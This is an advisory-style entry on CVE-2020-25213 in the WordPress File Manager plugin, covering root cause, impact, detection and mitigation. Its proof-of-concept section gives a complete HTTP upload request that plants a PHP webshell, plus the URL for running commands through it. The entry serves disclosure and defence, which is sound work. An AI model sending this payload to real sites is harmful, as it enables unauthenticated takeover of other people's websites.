WordPress File Manager elFinder Upload RCE

Product: WebDesi9 (wp-file-manager) File Manager plugin for WordPress
CVE: CVE-2020-25213
Disclosed: 2020-09-01
CVSS: 9.8
Auth: pre-auth
CISA KEV: yes
Affected: 6.0 - 6.8
Fixed: 6.9

Summary

The File Manager plugin (700k+ active installs) shipped an elFinder connector file that could be called directly with no authentication. Attackers uploaded PHP webshells to the plugin's files directory; Wordfence saw attacks on 1.7M sites within days.

Root cause

Version 6.0 renamed elFinder's example connector.minimal.php.dist to connector.minimal.php and left it web-accessible. It executes elFinder commands, including 'upload', without any WordPress capability check, so arbitrary .php files land in wp-content/plugins/wp-file-manager/lib/files/.

Impact

Unauthenticated RCE and full site takeover.

Public PoC

POST /wp-content/plugins/wp-file-manager/lib/php/connector.minimal.php HTTP/1.1
Content-Type: multipart/form-data; boundary=----X

------X
Content-Disposition: form-data; name="cmd"

upload
------X
Content-Disposition: form-data; name="target"

l1_Lw
------X
Content-Disposition: form-data; name="upload[]"; filename="x.php"
Content-Type: image/png

<?php system($_GET["cmd"]); ?>
------X--

# shell: /wp-content/plugins/wp-file-manager/lib/files/x.php?cmd=id

Source: w4fz5uck5 / wp-file-manager-0day

Detection

Look for requests to /wp-content/plugins/wp-file-manager/lib/php/connector.minimal.php and new .php files under lib/files/. nuclei template CVE-2020-25213.

Mitigation

Update to 6.9+ or remove the plugin; check lib/files for webshells.